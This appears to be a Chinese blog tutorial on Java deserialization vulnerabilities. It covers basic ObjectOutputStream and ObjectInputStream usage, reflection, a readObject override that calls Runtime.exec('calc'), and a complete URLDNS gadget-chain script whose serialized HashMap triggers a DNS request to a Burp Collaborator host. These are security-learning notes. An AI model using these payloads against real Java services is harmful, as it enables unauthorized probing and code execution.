java反序列化基础
前言:最近开始学习java的序列化与反序列化,现在从原生的序列化与反序列化开始,小小的记录一下
参考文章:https://blog.csdn.net/mocas_wang/article/details/107621010
01.什么是序列化与反序列化
其实java的序列化说白了就是将一个对象转换成字节的过程,那么同理,java的反序列化也就是将一个字节转换会一个对象的过程,这样的操作会使得对象在不同的机器之间进行传递变得简单,我们在一台机器上将某个对象序列化之后那么只需要传递序列化之后的字节给另外一台机器,那么另外一台机器只需要进行对应的反序列操作就可以获得传递过来的对象。
下面来演示一下使用io流自带的接口进行序列化与反序列化:
1.首先定义一个Person类用于序列化的操作

1 import java.io.Serializable;
2 //必须继承Serializable接口才可被序列化
3 public class Person implements Serializable {
4 private String name;
5 private int age;
6
7 public Person(String name, int age) {
8 this.name = name;
9 this.age = age;
10 }
11
12 public Person() {
13 }
14
15 @Override
16 public String toString() {
17 return "Person{" +
18 "name='" + name + '\'' +
19 ", age=" + age +
20 '}';
21 }
22 }
2.正常情况下,我们通过以下代码进行实例化,然后打印出这个对象,应该会得到以下的结果
1 public static void main(String[] args) {
2 Person person = new Person("aa",22);
3 System.out.println(person);
4 }

3.那么现在我们用以下代码来对这个对象进行序列化,可以看到,对象的信息会被序列化的写入ser.bin文件中
1 public static void serialize(Object obj) throws IOException{
2 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
3 oos.writeObject(obj);
4 }

4.那么接下来我们只要在另外一个类中,实现反序列化的代码,就可以很轻松的获取到原来想要传递的对象

1 import java.io.FileInputStream;
2 import java.io.FileNotFoundException;
3 import java.io.IOException;
4 import java.io.ObjectInputStream;
5
6 public class UnserializeTest {
7 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
8 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
9 Object obj = ois.readObject();
10 return obj;
11 }
12
13 public static void main(String[] args) throws IOException, ClassNotFoundException {
14 Person person = (Person)unserialize("ser.bin");
15 System.out.println(person);
16 }
17 }

tips:
- 必须实现Serializable接口的类才可被序列化
- 静态成员变量是不能被序列化的,因为静态成员变量是属于类中的,而不是属于被实例化对象
- transient标识的对象成员变量是不可以被序列化的
那么为什么会产生安全问题呢?
只要服务端反序列化了数据,客户端传递类的readObject中的代码就会自动执行,给予攻击者在服务器上运行代码的能力
如何利用?
首先,我们需要找到一个入口类,这个类需要重写了readObject,同时最好重写了一个常见的函数这样我们可以进一步的去找调用链,最后我们需要去找到一个执行类(rce,ssrf,写文件等等)
1.我们知道,在反序列化的过程中,会调用ObjectInputStream中的readObject方面,那么如果我们在类中就重写了这个方法,反序列化时调用的这个方法是不是就会调用我们重写的方法,这时候只需要把后门代码放在里面,就可以达到攻击的目的。重写代码如下:

1 private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
2 ois.defaultReadObject();
3 Runtime.getRuntime().exec("calc");
4 }
2.如果入口类参数中包含可控类,该类有危险方法,readObject时就可以去调用,比方说Map,他可以是Map<Object,Object>这种类型,同时Map又继承了Serializable接口,那么就会可以被利用
3.入口类参数中包含可控类,该类又调用了其他有危险方法的类,就可以在readObject时去调用
Java反射机制
通常,我们在利用反序列化漏洞的时候会运用到java的反射机制,下面这篇文章很好的讲述了java的反射机制
参考文章:https://blog.csdn.net/weiwenhou/article/details/103650422
总结一下:
- 反射的作用:让java具有动态性
- 修改已有对象的属性
- 动态的生成对象
- 动态的调用方法
- 操作内部类和私有方法
在反序列化漏洞中的应用:
- 定制需要的对象
- 通过invoke调用除了同名函数以外的函数
- 通过Class类创建对象,引入不能序列化的类
简单使用

1 import java.lang.reflect.Constructor;
2 import java.lang.reflect.Field;
3 import java.lang.reflect.Method;
4
5 public class ReflectionTest {
6 public static void main(String[] args) throws Exception {
7 Person person = new Person();
8 Class c = person.getClass();
9 //反射就是操作Class
10
11 //从原型class里面实例化对象
12 //c.newInstance(); 无参,无法使用
13 Constructor personconstructor = c.getConstructor(String.class,int.class);
14 Person p = (Person) personconstructor.newInstance("abc",22);
15 System.out.println(p);
16 //获取类里面的属性
17 //c.getFields();只能打印public的属性
18 //c.getDeclaredFields()都可以打印
19 Field[] personfields = c.getDeclaredFields();
20 for (Field f:personfields){
21 System.out.println(f);
22 }
23 //获取单个
24 Field namefield = c.getField("name");
25 namefield.set(p,"testedit");//需要一个示例
26 System.out.println(p);
27 //修改私有变量
28 Field agefield = c.getDeclaredField("age");
29 agefield.setAccessible(true);//允许访问私有变量
30 agefield.set(p,33);
31 System.out.println(p);
32 //调用类里面的方法
33 Method[] personMethods = c.getDeclaredMethods();
34 for(Method m:personMethods){
35 System.out.println(m);
36 }
37 //获取单个方法
38 Method actionmethod = c.getMethod("action",String.class);
39 actionmethod.invoke(p,"testaction");//调用触发
40 }
41 }
URL-DNS链
首先,我们想要利用URL-DNS链,我们可以先来看一下URL类中是否存在readObject方法,但是我们可以很明显的发现,URL类中的该方法,没有调用危险函数,那么是不是就不能够利用了呢?
其实,在URL类中,存在一个hashcode函数,这个函数会发起DNS请求,那么我们该怎么操作可以使得在反序列化时让他调用这个函数呢,我们可以通过利用hashMap中的hash方法,hashMap在反序列化时会调用readObject方法,该方法的Key值会调用Key.hashcode方法,那么只要将URL类作为hashMap的key,我们就可以成功利用,但是实际上,我们需要利用java的反射机制,对某些参数进行修改,因为在put的过程中,如果hashcode的值为-1那么也会调用hashcode方法,那么我们就无法分辨,到底是在哪个缓解出发了反序列化漏洞,具体的利用代码如下。

1 import java.io.FileOutputStream;
2 import java.io.IOException;
3 import java.io.ObjectOutputStream;
4 import java.lang.reflect.Field;
5 import java.net.URL;
6 import java.util.HashMap;
7
8 public class SerializationTest {
9 public static void serialize(Object obj) throws Exception{
10 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
11 oos.writeObject(obj);
12 }
13
14 public static void main(String[] args) throws Exception {
15 // Person person = new Person("aa",22);
16 // System.out.println(person);
17 // serialize(person);
18 HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
19 //一开始不能发起请求 //把url对象的hashcode改成不是-1
20 URL url = new URL("http://tzwb9yz0ehtmjrpw7rwvu57d94fu3j.burpcollaborator.net");
21 Class c = url.getClass();
22 Field hashcode = c.getDeclaredField("hashCode");
23 hashcode.setAccessible(true);
24 hashcode.set(url,1);
25 hashMap.put(url,1);
26 //现在可以把hashcode给改回来
27 hashcode.set(url,-1);
28 serialize(hashMap);
29 }
30 }
java反序列化基础的更多相关文章
- Java反序列化漏洞Apache CommonsCollections分析
Java反序列化漏洞Apache CommonsCollections分析 cc链,既为Commons-Collections利用链.此篇文章为cc链的第一条链CC1.而CC1目前用的比较多的有两条链 ...
- JAVA反序列化漏洞基础原理
JAVA反序列化漏洞基础原理 1.1 什么是序列化和反序列化? Java序列化是指把Java对象转换为字节序列的过程: Java反序列化是指把字节序列恢复为Java对象的过程: 1.2 为什么要序列化 ...
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- 【重走Android之路】【Java面向对象基础(三)】面向对象思想
[重走Android之路][基础篇(三)][Java面向对象基础]面向对象思想 1 面向对象的WWH 1.1 What--什么是面向对象 首先,要理解“对象”.在Thinkin ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- 【JAVA零基础入门系列】Day14 Java对象的克隆
今天要介绍一个概念,对象的克隆.本篇有一定难度,请先做好心理准备.看不懂的话可以多看两遍,还是不懂的话,可以在下方留言,我会看情况进行修改和补充. 克隆,自然就是将对象重新复制一份,那为什么要用克隆呢 ...
- Lib之过?Java反序列化漏洞通用利用分析
转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...
- 学习笔记 | java反序列化漏洞分析
java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...
- Java底层基础题
一.Java底层基础题 1.SpringMVC的原理以及返回数据如何渲染到jsp/html上? 答:Spring MVC的核心就是DispatcherServlet , 一个请求经过Dispatche ...
- 对ysoserial工具及java反序列化的一个阶段性理解【未完成】
经过一段时间的琢磨与反思,以及重读了大量之前看不懂的反序列化文章,目前为止算是对java反序列化这块有了一个阶段性的小理解. 目前为止,发送的所有java反序列化的漏洞中.主要需要两个触发条件: 1. ...
随机推荐
- oracle日常命令
---查询锁表(查出后,再执行查询结果进行释放:可多次查询,存在循环锁表的情况)-- select 'alter system kill session '|| ''''|| sess.sid || ...
- 数组还是HashSet?
我记得大约在半年前,有个朋友问我一个问题,现在有一个选型: 一个性能敏感场景,有一个集合,需要确定某一个元素在不在这个集合中,我是用数组直接Contains还是使用HashSet<T>.C ...
- tools2
[对身份证的校验] //身份证的校验 import java.util.stream.IntStream; /** * 身份证号码验证 * 1.号码的结构 * 公民身份号码是特征组合码,由十七位数字本 ...
- @Retryable注解的使用
@Retryable 前言 在实际工作中,重处理是一个非常常见的场景,比如: 发送消息失败. 调用远程服务失败. 争抢锁失败. 这些错误可能是因为网络波动造成的,等待过后重处理就能成功.通常来说,会用 ...
- Go语言核心36讲48
你真的很棒,已经跟着我一起从最开始初识Go语言,一步一步地走到了这里. 在这之前的几十篇文章中,我向你一点一点地介绍了很多Go语言的核心知识,以及一些最最基础的标准库代码包.我想,你已经完全有能力独立 ...
- Chrome 103支持使用本地字体,纯前端导出PDF优化
在前端导出PDF,解决中文乱码一直是一个头疼的问题.要解决这个问题,需要将ttf等字体文件内容注册到页面PDF生成器中.但是之前网页是没有权限直接获取客户机器字体文件,这时就需要从服务器下载字体文件或 ...
- 小米路由器局域网设备ping不通
问题 手机和电脑在同一个局域网内,都连接上小米路由器,我发现电脑部署的服务局域网设备都访问不到,甚至ping不到,排除了防火墙问题,最终发现是路由器一个设置导致的. 解决 将原来的混合加密,更换为强加 ...
- 环境安装-Centos7.4安装及配置
环境安装-Centos7.4安装及配置 〇.资料汇总 一.虚拟机安装 1.下载地址 https://pan.baidu.com/s/1zcOp06HX4OxPdsCCGkHbXQ 提取码:7777 2 ...
- 【大数据面试】sqoop:空值、数据一致性、列式存储导出、数据量、数据倾斜
一.有没有遇到过问题,怎么进行解决的 1.空值问题 本质:hive底层存储空数据使用\n<==>MySQL存储空数据使用null 解决:双向导入均分别使用两个参数☆,之前讲过 2.数据一致 ...
- 浅谈 Java 和 Python 的反射
反射这个词我一直没搞懂,也不知道为什么需要反射,也不知道反射到底做了什么.所见所闻逐渐丰富之后,开始有点儿懂了. 先不管反射这个词是什么意思.Java 里面有反射,Python 里面也有反射,但是不太 ...